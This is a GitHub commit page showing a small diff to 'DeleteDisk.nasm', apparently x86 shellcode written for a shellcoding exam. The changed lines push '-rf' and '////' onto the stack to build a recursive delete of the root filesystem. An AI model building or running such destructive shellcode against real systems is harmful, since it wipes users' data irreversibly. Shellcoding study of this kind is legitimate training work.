Skip to content

Commit

Permalink
Fixing
Browse files Browse the repository at this point in the history
  • Loading branch information
cr7pt0pl4gu3 committed Nov 15, 2020
1 parent d8c0bb4 commit 72e53ea
Showing 1 changed file with 3 additions and 4 deletions.
7 changes: 3 additions & 4 deletions Exam/DeleteDisk/DeleteDisk.nasm
Original file line number Diff line number Diff line change
Expand Up @@ -15,11 +15,10 @@ _start:
mov ebx, esp ;move pointer to command into ebx

push eax ;push null eax register to the stack
push 0x2f2f2f2f ;push argument to the stack "-laa"
push 0x2f2f2f2f
push 0x7666722d ;push argument to the stack "-rf"
mov esi, esp ;move stack pointer to esi
push esi
push 0x7666722d
mov esi, esp

push eax ;push null eax register to the stack
push esi ;push address of the argument to the stack
Expand Down

0 comments on commit 72e53ea

Please sign in to comment.